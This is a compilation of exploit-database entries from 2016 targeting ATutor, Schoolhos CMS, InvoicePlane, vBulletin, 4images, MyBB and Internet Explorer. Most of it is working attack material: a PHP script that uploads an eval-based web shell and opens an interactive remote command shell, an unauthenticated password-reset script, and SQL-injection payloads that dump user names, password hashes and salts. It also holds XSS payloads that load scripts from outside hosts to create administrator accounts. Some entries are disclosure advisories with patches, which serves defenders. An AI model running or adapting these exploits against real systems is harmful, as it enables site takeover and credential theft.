          "Content-Disposition: form-data; name=\"old_access\"\r\n" + 
          "\r\n" + 
          "protected\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"created_date\"\r\n" + 
          "\r\n" + 
          "2016-11-07 06:55:20\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"show_courses\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"current_cat\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"title\"\r\n" + 
          "\r\n" + 
          "Programming Language\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"pri_lang\"\r\n" + 
          "\r\n" + 
          "en\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"description\"\r\n" + 
          "\r\n" + 
          "Python\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"category_parent\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"content_packaging\"\r\n" + 
          "\r\n" + 
          "top\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"rss\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"access\"\r\n" + 
          "\r\n" + 
          "protected\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"release_date\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"day_release\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"month_release\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"year_release\"\r\n" + 
          "\r\n" + 
          "2016\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"hour_release\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"min_release\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"end_date\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"day_end\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"month_end\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"year_end\"\r\n" + 
          "\r\n" + 
          "2017\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"hour_end\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"min_end\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"setvisual\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"banner\"\r\n" + 
          "\r\n" + 
          "\x3cp\x3eCan fill content what ever you want.\x3c/p\x3e\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"initial_content\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"quota\"\r\n" + 
          "\r\n" + 
          "-2\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"filesize\"\r\n" + 
          "\r\n" + 
          "-3\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"tracking\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"copyright\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"boolForce\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"icon\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n" + 
          "\r\n" + 
          "819200\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"customicon\"; filename=\"\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"custOptCount\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"courseId\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"submit\"\r\n" + 
          "\r\n" + 
          "Save\r\n" + 
          "-----------------------------34481053430281--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
 <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

---------------------------------------------------------------------------
 
Solution:
 
Patch is available. Install patch using the ATutor Patcher.

Link to download patch:

http://update.atutor.ca/patch/2_2_2/2_2_2-6/patch.xml
---------------------------------------------------------------------------
 
            
<?php
/*
Software : Schoolhos CMS 2.29
Home : http://www.schoolhos.com/
Author : Ahmed sultan (0x4148)
Email : 0x4148@gmail.com
Home : 0x4148.com

Intro
Schoolhos CMS is alternative to developing School Website. It's Free and Open Source under GPL License. Easy to install, user friendly and elegant design.

Schoolhos is vulnerable to unauthenticated remote code execution vulnerability , Unauthenticated sql injection flaws

I - Remote code execution
	File : process.php
	Line : 42
	elseif ($pilih=='guru' AND $untukdi=='upload'){
	$lokasi_file = $_FILES['fupload']['tmp_name'];
	$nama_file   = $_FILES['fupload']['name'];
		UploadMateri($nama_file);
	
	File : file_uplaod.php
	Line : 9
	function UploadMateri($fupload_name){
	  //direktori file dari halaman e-elarning
	  $vdir_upload = "../file/materi/";
	  $vfile_upload = $vdir_upload . $fupload_name;

	  move_uploaded_file($_FILES["fupload"]["tmp_name"], $vfile_upload);
	}
	
	POC
	curl -i -s -k  -X 'POST' \
    -H 'Content-Type: multipart/form-data; boundary=---------------------------26518470919255' \
    --data-binary $'-----------------------------26518470919255\x0d\x0aContent-Disposition: form-data; name=\"fupload\"; filename=\"0x4148.php\"\x0d\x0aContent-Type: application/x-httpd-php\x0d\x0a\x0d\x0a<?php die(\"0x4148 rule\"); ?>\x0d\x0a-----------------------------26518470919255\x0d\x0a\x0d\x0a' \
    'http://HOST/PATH/elearningku/proses.php?pilih=guru&untukdi=upload'
	
	php file can be ccessed via : http://HOST/PATH/file/materi/0x4148.php

II - Unauthenticated sql injection

	File : elearningku/download.php
	Line 6
	$file=mysql_query("SELECT * FROM sh_materi WHERE id_materi='$_GET[id]'");
	$r=mysql_fetch_array($file);
	$filename=$r[file_materi];

	  header("Content-Type: octet/stream");
	  header("Pragma: private"); 
	  header("Expires: 0");
	  header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
	  header("Cache-Control: private",false); 
	  header("Content-Type: $ctype");
	  header("Content-Disposition: attachment; filename=\"".basename($filename)."\";" );
	  header("Content-Transfer-Encoding: binary");
	  header("Content-Length: ".filesize($dir.$filename));
	  readfile("$dir$filename");

	POC : versi_2.29/elearningku/download.php?id=-1' union select 1,version(),3,4,5,6,7,8-- -
	DB version will be showed as filename

Script is really full of injection flaws , mentioning all of it is such waste of time

Full exploitation Demo
~0x4148fo# php scho.php http://192.168.0.50/lab/scho/versi_2.29/
[*] Schoolhos CMS 2.29 Remote command execution
[*] Author : Ahmed sultan (0x4148)
[*] Connect : 0x4148.com | 0x4148@gmail.com

 + Sending payload to http://192.168.0.50/lab/scho/versi_2.29/
 + Payload sent successfully

0x4148@http://192.168.0.50/lab/scho/versi_2.29/# dir
 Volume in drive C is OS_Install
 Volume Serial Number is D60F-0795

 Directory of C:\xampp\htdocs\lab\scho\versi_2.29\file\materi

11/13/2016  02:03 AM    <DIR>          .
11/13/2016  02:03 AM    <DIR>          ..
11/13/2016  02:03 AM                47 0x4148.php
11/30/2011  06:56 PM             8,522 aku.php
11/29/2011  02:02 AM                74 Alar Reproduksi.rar
11/29/2011  02:03 AM                74 albert.rar
11/29/2011  08:25 PM            12,326 ari.png
11/29/2011  08:27 PM            12,318 ari.rar
11/29/2011  06:57 PM                74 cerita.rar
11/29/2011  08:24 PM                 0 contoh.txt
11/29/2011  02:05 AM                74 dos.rar
11/29/2011  02:01 AM                74 English1.rar
12/12/2011  11:13 AM               117 index.html
11/29/2011  02:10 AM                74 kekebalantubuh.rar
11/29/2011  02:11 AM                74 masa jenis.rar
11/29/2011  02:14 AM                74 office.rar
11/29/2011  02:06 AM                74 paragraf.rar
11/29/2011  02:04 AM                74 pemanasan.rar
11/29/2011  02:00 AM                74 polakalimat.rar
11/29/2011  02:15 AM                74 prepare.rar
11/29/2011  02:13 AM                74 proklamator.rar
11/29/2011  02:12 AM                74 sea games.rar
11/29/2011  02:05 AM                74 soekarno.rar
11/29/2011  02:09 AM                74 speaking.rar
11/29/2011  02:15 AM                74 ulangan INDO.rar
11/29/2011  02:11 AM                74 volume.rar
              24 File(s)         34,662 bytes
               2 Dir(s)  38,197,485,568 bytes free

0x4148@http://192.168.0.50/lab/scho/versi_2.29/# exit

~0x4148fo#

*/
$host=$argv[1];
$target="$host/elearningku/proses.php?pilih=guru&untukdi=upload";
echo "[*] Schoolhos CMS 2.29 Remote command execution\n";
echo "[*] Author : Ahmed sultan (0x4148)\n";
echo "[*] Connect : 0x4148.com | 0x4148@gmail.com\n\n";
echo " + Sending payload to $host\n";
fwrite(fopen("0x4148.php","w+"),'<?php eval(base64_decode($_POST["0x4148"])); ?>');
$x4148upload = curl_init(); 
curl_setopt($x4148upload, CURLOPT_URL, $target);
curl_setopt($x4148upload, CURLOPT_USERAGENT, "mozilla");
curl_setopt($x4148upload, CURLOPT_POST, 1);
curl_setopt($x4148upload, CURLOPT_RETURNTRANSFER, true);
curl_setopt($x4148upload, CURLOPT_POSTFIELDS,array("fupload"=>"@".realpath("0x4148.php")));
curl_setopt($x4148upload, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($x4148upload, CURLOPT_SSL_VERIFYHOST, 0);
$result = curl_exec($x4148upload);
curl_close($x4148upload);
$x4148request=curl_init();
curl_setopt($x4148request,CURLOPT_RETURNTRANSFER,1);
curl_setopt($x4148request,CURLOPT_URL,$host."/file/materi/0x4148.php");
curl_setopt($x4148request, CURLOPT_POSTFIELDS,"0x4148=".base64_encode("echo '0x4148fo';"));
curl_setopt($x4148request, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($x4148request, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($x4148request,CURLOPT_FOLLOWLOCATION,0);
curl_setopt($x4148request,CURLOPT_TIMEOUT,20);
curl_setopt($x4148request, CURLOPT_HEADER, true); 
$outp=curl_exec($x4148request);
curl_close($x4148request);
if(!preg_match("#0x4148fo#",$outp)){
echo " - Failed :(\n";
die();
}
echo " + Payload sent successfully\n\n";
while(0<1){
echo "0x4148@$host# ";
$command=trim(fgets(STDIN));
if($command=='exit'){
die();
}
$x4148request=curl_init();
curl_setopt($x4148request,CURLOPT_RETURNTRANSFER,1);
curl_setopt($x4148request,CURLOPT_URL,$host."/file/materi/0x4148.php");
curl_setopt($x4148request, CURLOPT_POSTFIELDS,"0x4148=".urlencode(base64_encode("echo '>>>>>';system('$command');echo '>>>>>';")));
curl_setopt($x4148request, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($x4148request, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($x4148request,CURLOPT_FOLLOWLOCATION,0);
curl_setopt($x4148request,CURLOPT_TIMEOUT,20);
curl_setopt($x4148request, CURLOPT_HEADER, true); 
$outp=curl_exec($x4148request);
curl_close($x4148request);
echo explode(">>>>>",$outp)[1]."\n";
}
?>
            
# Exploit Title: InvoicePlane v1.4.8 Incorrect Access Control for password =
reset
# Date: 12-11-2016
# Exploit Author: feedersec
# Contact: feedersec@gmail.com
# Vendor Homepage: https://invoiceplane.com
# Software Link: https://invoiceplane.com/download/v1.4.8
# Version: v1.4.8=20
# Tested on: ubuntu 16.04 LTS

# Description: An unauthenticated user can POST to=20
# /index.php/sessions/passwordreset setting a new password for any user

import urllib2, urllib

#set parameters here
user_id =3D '1'
new_password =3D 'haxor'
baseUrl =3D 'http://localhost/'
####

data =3D urllib.urlencode({'user_id': user_id,=20
=09=09=09 'new_password' : new_password,
=09=09=09 'btn_new_password' : '1'})

req =3D urllib2.Request(baseUrl + 'index.php/sessions/passwordreset', data)
response =3D urllib2.urlopen(req)
            
##################################################################################################
#Exploit Title : vBulletin <= 4.2.3 SQL Injection (CVE-2016-6195)
#Author        : Manish Kishan Tanwar AKA error1046 (https://twitter.com/IndiShell1046)
#Date          : 25/08/2015
#Love to       : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Jagriti,Kishan Singh and ritu rathi
#Tested At  : Indishell Lab(originally developed by Dantalion)
##################################################################################################
 
////////////////////////
/// Overview:
////////////////////////
 
VBulletin version 3.6.0 through 4.2.3 are vulnerable to SQL injection vulnerability in vBulletin core forumrunner addon. 
Vulnerability was analized and documented by Dantalion (https://enumerated.wordpress.com/2016/07/11/1/) 
so credit goes to Dantalion only :) 

 
  
 
////////////////
///  POC   ////
///////////////

SQL Injection payload to enumerate table names
----------------------------------------------
http://forum_directory/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1)union select 1,2,3,(select (@x) from (select (@x:=0x00),(select (0) from (information_schema.tables)where (table_schema=database()) and (0x00) in (@x:=concat(@x,0x3c62723e,table_name))))x),5,6,7,8,9,10-- -


SQL Injection payload to enumerate column names from table "user"
----------------------------------------------------------------
http://forum_directory/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1)union select 1,2,3,(select (@x) from (select (@x:=0x00),(select (0) from (information_schema.columns)where (table_name=0x75736572) and (0x00) in (@x:=concat(@x,0x3c62723e,column_name))))x),5,6,7,8,9,10-- -


SQL Injection payload to enumerate username,password hash and salt from "user" table
----------------------------------------------------------------------------------
http://forum_directory//forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1)union select 1,2,3,(select (@x) from (select (@x:=0x00),(select (0) from (user)where (0x00) in (@x:=concat(@x,0x3c62723e,username,0x3a,password,0x3a,salt))))x),5,6,7,8,9,10-- -

/////////////////
exploit code ends here
 
 
 
 
                             --==[[ Greetz To ]]==--
############################################################################################
#Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba,
#Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,
#Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA,
#Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash
#############################################################################################
                             --==[[Love to]]==--
# My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,
#Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Jagriti,Salty, Hacker fantastic, Jennifer Arcuri and Don(Deepika kaushik)
                       --==[[ Special Fuck goes to ]]==--
                            <3  suriya Cyber Tyson <3
            
# vulnerable app : 4images <= 1.7.13
# Vendor : www.4homepages.de
# Author : Ahmed sultan (0x4148)
# Email : 0x4148@gmail.com
# Home : 0x4148.com

4images is a powerful web-based image gallery management system. Features
include comment system,
user registration and management, password protected administration area
with browser-based upload and HTML templates for page layout and design.
The app is vulnerable to Sql injection flaw which can be escalated to new
administrator add exploit
Vulnerable code
File : admin/validateimages.php
Line 406
    $sql = "SELECT i.image_id, i.cat_id, i.user_id, i.image_name,
i.image_date, i.image_media_file".get_user_table_field(", u.",
"user_name")."
            FROM ".IMAGES_TEMP_TABLE." i
            LEFT JOIN ".USERS_TABLE." u ON (".get_user_table_field("u.",
"user_id")." = i.user_id)
            WHERE $condition
            ORDER BY $orderby $direction
            LIMIT $limitstart, $limitnumber";
    $result = $site_db->query($sql);
Input parameter orderby is not sanitized before being passed to the sql
query which lead to sql injection flaw
POC
GET
/lab/4images1.7.13/4images/admin/validateimages.php?action=validateimages&orderby=extractvalue(1,concat(0x7e,version()))&direction=ASC&limitnumber=10
HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101
Firefox/17.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: 4images_lastvisit=1478064418; 4images_userid=1;
sessionid=ru4g0mqdpd3cj6pub1d0a5kmf4

Will result in
<br /><font color='#FF0000'><b>DB Error</b></font>: <b>Bad SQL Query</b>:
SELECT i.image_id, i.cat_id, i.user_id, i.image_name, i.image_date,
i.image_media_file, u.user_name
            FROM 4images_images_temp i
            LEFT JOIN 4images_users u ON (u.user_id = i.user_id)
            WHERE 1=1
            ORDER BY extractvalue(1,concat(0x7e,version())) ASC
            LIMIT 0, 10<br /><b>XPATH syntax error: '~5.5.25a'

To reproduce, add normal user account, add a category and allow users to upload images in it.
Login with the normal user account and upload an image.
Try the poc 

Exploitation :
By the help of JS the sql injection flaw can be used to obtain the current
csrf token and use it to add new administrator within the admin browser
session
Full exploit poc
admin/validateimages.php?action=validateimages&orderby=extractvalue(1,concat(0x3c7376672f6f6e6c6f61643d6576616c28222f2a222b55524c293e))&direction=ASC&limitnumber=10#*/with(document)body.appendChild(createElement(/script/.source)).src=atob(/Ly9sb2NhbGhvc3QveC5qcw==/.source)

Ly9sb2NhbGhvc3QveC5qcw== is the base64 encoded Javascript url which will be
executed inside administrator's browser

Impact
Attacker can inject JS code which result in bypassing the CSRF token ,
adding new administrator's account
or even updating allowed extensions and uploading php shell on the
vulnerable host

Reference(s):
https://0x4148.com/2016/11/02/4images-1-7-13-sql-injection-administrator-add-exploit/

Disclosure timeline
1/11 - Vulnerability was reported
2/11 - Vendor sent fixation to review
3/11 - Fixed evrsion was retested by me and approved
3/11 - Vendor scheduled official update release
10/11 - Public disclosure
            
Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    MyBB 1.8.6
Fixed in:            1.8.7
Fixed Version Link:  http://resources.mybb.com/downloads/mybb_1807.zip
Vendor Website:      http://www.mybb.com/
Vulnerability Type:  XSS
Remote Exploitable:  Yes
Reported to vendor:  01/29/2016
Disclosed to public: 09/15/2016
Release mode:        Coordinated Release
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Overview

MyBB is forum software written in PHP. In version 1.8.6, it contains various
XSS vulnerabilities, some of which are reflected and some of which are
persistent. Some of them depend on custom forum or server settings.

These issues may lead to the injection of JavaScript keyloggers, injection of
content such as ads, or the bypassing of CSRF protection, which would for
example allow the creation of a new admin user.

3. Details

XSS 1: Persistent XSS - Signature

CVSS: Medium 5.0 AV:N/AC:L/Au:N/C:N/I:P/A:N

Description: The profile editor of the moderator control panel does not
properly encode the signature of a user when editing it. Because of this, a
user can create a specifically crafted signature and - once a moderator or
admin visits the profile editor for that user - the injected code will be
executed in the context of the victims browser.

Proof of Concept:

Visit the profile at: http://localhost/mybb_1806/Upload/modcp.php?action=editprofile&uid=[USER_ID] As signature, use: </textarea><img src=no onerror=alert(1)>

XSS 2: Persistent XSS - Forum Post (depending on forum settings)

CVSS: Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N

Description: An admin can allow HTML input for specific forums via the setting
allowhtml. There are various filters in place which intend to make this safe,
which may leave the admin with the impression that it is indeed safe. However,
there are various possibilities to bypass these filters, mainly using HTML5
features.

Proof of Concept:

<body onpageshow=alert(1)> -> Visiting the post will trigger the code <div
contextmenu="mymenu" oncontextmenu=alert(1)>context menu</pre> -> A right-click
will trigger the code <form action=""> Enter something: <input type="text" name
="myinput" oninput="alert(1)"><br> <input type="submit" value="Submit"> </form>
-> Input into the field will trigger the code <form action=""> <input type=
"text" name="myinput" oninvalid="alert(1)" required> <input type="submit" value
="Submit"> </form> -> A click on submit will trigger the code

There are various other attributes which may also work, such as onsearch,
onkeydown, onkeyup, ondrag, onscroll, oncopy, and so on. Other attributes such
as onMouseOver or onFocus are filtered out.

XSS 3: Persistent XSS - Username (depending on forum settings)

CVSS: Low 2.6 AV:N/AC:H/Au:N/C:N/I:P/A:N

Description: The username is echoed unencoded in the user area. As the login
does not have CSRF protection and as an admin can be logged into the admin area
with a different account than the one they are logged into the forum, a
persistent XSS vulnerability in the user area can be exploited. However,
successful exploitation most likely requires a username length of at least 43
characters, which is more than the default settings allow.

Simple Proof of Concept:

1. register user with name f" onmouseover="alert(1)" b=" 2. login and visit
http://localhost/mybb_1805/Upload/usercp.php 3. hover over the avatar

The simple proof of concept can be improved to allow successful exploitation.
It is not required for the victim to hover over the avatar or interact with the
webpage in any way:

1. As username, use: f" onerror="alert(1)" b=" 2. Set an avatar, and use a URL
as source (not an image upload) 3. Delete the image from the remote host,
making it unavailable, thus triggering an error and executing the injected
code.

Possible Payloads:

Loading a script with vanilla javascript takes a lot more characters than are
allowed in a username by default:

"onerror="s=document.createElement('script');s.src='http://localhost/s.js';
document.getElementById('top').appendChild(s)"

As jQuery is loaded, this can be optimized:

"onerror="$.getScript('http://aa.bc/s.js')

Executing the payload for a victim:

The attack does not require the victim to not be logged in as normal user, as
one can login even when already logged in. The login as a normal user also does
not affect the login as admin. Thus, an attacker could use the following
payload to log a victim in and redirect them to the site containing the
payload:

<iframe id="myframe" style="display: none" name="myframe" src="about:blank"></
iframe> <form method="post" action="http://localhost/mybb_1805/Upload/
member.php" target="myframe" id="myform" name="myform"> <input name="action"
type="hidden" value="do_login" /> <input name="url" type="hidden" value="http:/
/localhost/mybb_1805/Upload/usercp.php" /> <input name="quick_login" type=
"hidden" value="1" /> <input name="quick_username" type="hidden" value=
""onerror="$.getScript('http://localhost/s.js')" /> <input name=
"quick_password" type="hidden" value="123456" /> <input name="quick_remember"
type="hidden" value="yes" /> </form> <script>document.myform.submit();</script>

It will automatically log the victim in and redirect them to the page that
triggers the script execution. No action of the victim is required. The loaded
script could for example perform a backup of the database and then send the
attacker the name of the backup, as backups are stored in a public directory.

XSS 4: Persistent XSS - Post Attachment (depending on server settings)

CVSS: Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N

Description: Attachments are uploaded to a public directory, and their
extension is changed to .attach. Files with extension .attach that contain HTML
code are interpreted as HTML files by some default server configurations (for
example Apache). Additionally, the directory where the files are uploaded to
does not prevent directory listing via an index.html file as all the other
directories of MyBB do. Because of this, an attacker can find the name of the
file and send it to a victim. Once the victim visits the link, the JavaScript
code in the file would execute.

Proof of Concept:

1. upload HTML file containing <html><body><script>alert(1);</script></body></
html> 2. find file located at /mybb_1805/Upload/uploads/YYYMM/
RANDOM_STRING.attach. The YYYMM directory is not protected against directory
browsing via an index.php or index.html file like most other directories of
MyBB, which means depending on the server configuration, the file can easily be
found 3. send admin there

XSS 5: Reflected XSS - Account Activation

CVSS: Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N

Description: The account activation form echoes a given code unencoded to the
user, resulting in reflected XSS.

Proof of Concept:

http://localhost/mybb_1806/Upload/member.php?action=activate&uid=-1&code=">
<script>alert(1)<%2fscript>

XSS 6: Reflected XSS - Update (depending on locked state)

CVSS: Low 2.6 AV:N/AC:H/Au:N/C:N/I:P/A:N

Description: In many of the update scripts, POST values are echoed without
proper encoding. The scripts are upgrade3.php, upgrade12.php, upgrade13.php,
upgrade17.php, and upgrade30.php. As this attack only works when the forum is
disabled, the forum itself cannot be attacked, but the attack could be used to
attack other software hosted on the same domain.

Proof of Concept:

<form id="myForm" action="http://localhost/mybb_1805/Upload/install/
upgrade.php" method="POST"> <input name="action" value="30_dbchanges_ip">
<input name="iptask" value="5"> <input name="iptable" value="7"> <input name=
"ipstart" value="<script>alert(1)</script>"> <input type="submit" value=
"Submit"> </form> <script> document.getElementById("myForm").submit(); </
script>

XSS 7: Reflected CSS Injection

CVSS: Low 2.6 AV:N/AC:H/Au:N/C:N/I:P/A:N

Description: When displaying an error, MyBB echoes user input in a style
context, allowing an attacker to inject CSS. With this, it may be possible to
change the look of the website or extract information, and it may lead to XSS
in older browsers.

Proof of Concept:

This script submits a search, which will trigger an SQL error because of the
non-existing author. All it does then is change the background color of the
error report to black to show the existence of the injection:

<form id="myForm" action="http://localhost/mybb_1805/Upload/search.php/) ; }
%23error { background: %23000000; } /*" method="POST"> <input name="action"
value="do_search"> <input name="author" value="nonexistentauthor"> <input name=
"matchusername" value="1"> </form> <script> document.getElementById
("myForm").submit(); </script>

4. Solution

To mitigate this issue please upgrade at least to version 1.8.7:

http://resources.mybb.com/downloads/mybb_1807.zip

Please note that a newer version might already be available.

5. Report Timeline

01/29/2016 Informed Vendor about Issue
02/26/2016 Vendor requests more time
03/11/2016 Vendor releases fix
09/15/2016 Disclosed to public


Blog Reference:
https://www.curesec.com/blog/article/blog/MyBB-186-XSS-160.html
 
--
blog:  https://www.curesec.com/blog
tweet: https://twitter.com/curesec

Curesec GmbH
Curesec Research Team
Josef-Orlopp-Straße 54
10365 Berlin, Germany
            
<!--
Source: http://blog.skylined.nl/20161109001.html

Synopsis

A specially crafted web-page can cause Microsoft Internet Explorer to assume a CSS value stored as a string can only be "true" or "false". To determine which of these two values it is, the code checks if the fifth character is an 'e' or a "\0". An attacker that is able to set it to a smaller string can cause the code to read data out-of-bounds and is able to determine if a WCHAR value stored behind that string is "\0" or not.

Known affected versions, attack vectors and mitigations

MSIE 9-11 (earlier versions were not tested)

An attacker would need to get a target user to open a specially crafted webpage. Disabling Java­Script should prevent an attacker from triggering the vulnerable code path.

repro.html

<!DOCTYPE html>
<meta http-equiv="X-UA-Compatible" content="IE=Edge">
<script>
  // This Po­C attempts to exploit a memory disclosure bug in Microsoft Internet
  // Explorer 11. On x64 systems, this should cause an access violation when
  // run with page-heap enabled, as the code attempts to read a byte
  // immediately following a 4 byte memory block.
  // See http://blog.skylined.nl/20161109001.html for details.
  var o = document.document­Element;
  Collect­Garbage();
  // Heap Feng-Shui plunger
  o.set­Attribute("a", "1");
  o.set­Attribute("b", "2");
  o.set­Attribute("c", "3");
  o.set­Attribute("d", "4");
  o.set­Attribute("e", "5");
  o.set­Attribute("f", "6");
  // Allocate a string that contains 3 characters (6 bytes), for which an 8
  // byte memory block is allocated:
  o.set­Attribute("g", "AB\u4141");
  // Free the memory block.
  o.remove­Attribute("g");
  // Reallocate the same memory block to store a 1 character string (2 bytes).
  // The memory block will look like this:
  //   78 00 00 00 41 41 00 00  |  "x\0\u4141\0"
  //  ^- start --------- end -^
  // Now have the code attempt to read the fifth character and access OOB data:
  document.document­Element.style.set­Property("textdecorationblink", "x");
  // This work by Sky­Lined is licensed under a Creative Commons
  // Attribution-Non-Commercial 4.0 International License. 
</script>

Description

Certain code that handles CSS properties in MSIE assumes that the property value is always a string set to either "true" or "false". To determine which of these two values it is, the code checks if the fifth character is '\0'. However, it is possible to set such values to arbitrary strings, including a smaller string. This causes the code to read beyond the end of the string and allows an attacker to determine if an WORD stored after the string is '\0'.

The vulnerable code is in MSHTML!PROPERTYDESC::Handle­Style­Component­Property. This code is heavily branched to handle various types of CSS properties. Luckily, the type being exploited is one of the first to be handled. The code appears to assume that the value is provided as a pointer to a BSTR which will always have a WCHAR at offset +8 that may be '\0' or not. If this WCHAR is not '\0', a CSS property is set to a certain value, otherwise it is set to an empty string. As long as this BSTR is always either be "true" or "false", this code works as expected. However, it is possible to provide an arbitrary value for this BSTR, which can be shorter than 4 WCHARs. This would causing the code to read a WCHAR outside of the memory used to store that BSTR.

In the repro, we used Heap Feng-Shui to put a BSTR containing 3 WCHARs in the OLEAUT32 cache. This causes MSIE to allocate 12 byte of memory to store the string: 4 bytes to store the DWORD length of the BSTR, 6 to store the characters, and 2 to store a "\0" terminator. This memory is then reused to store a 1 WCHAR string "x". When the code attempts to check if the fifth character in this his BSTR is '\0', it will attempt to read the two bytes at offset 14 (The characters are stored at offset 4, after the DWORD length, and the fifth character is at offset 10 from the first). This causes the code to read outside of the bounds of that BSTR and trigger an access violation. (On x86 systems, page heap will provide some padding at the end of the string, causing the code to read these padding bytes, so no AV happens).

Known properties of the type that leads to the vulnerable code path include text­Decoration­Blink, text­Decoration­Line­Through, text­Decoration­Line­None, text­Decoration­Overline, and text­Decoration­Underline.

Exploit

The value of a CSS property is updated based on the value of the fifth WCHAR, and this CSS property can be read from Javascript to determine if this WCHAR was '\0' or not. This allows a limited form of information disclosure. During my testing, I used the text­Decoration­Blink property, which can be used to set the CSS text-decoration property to "blink" or an empty string.

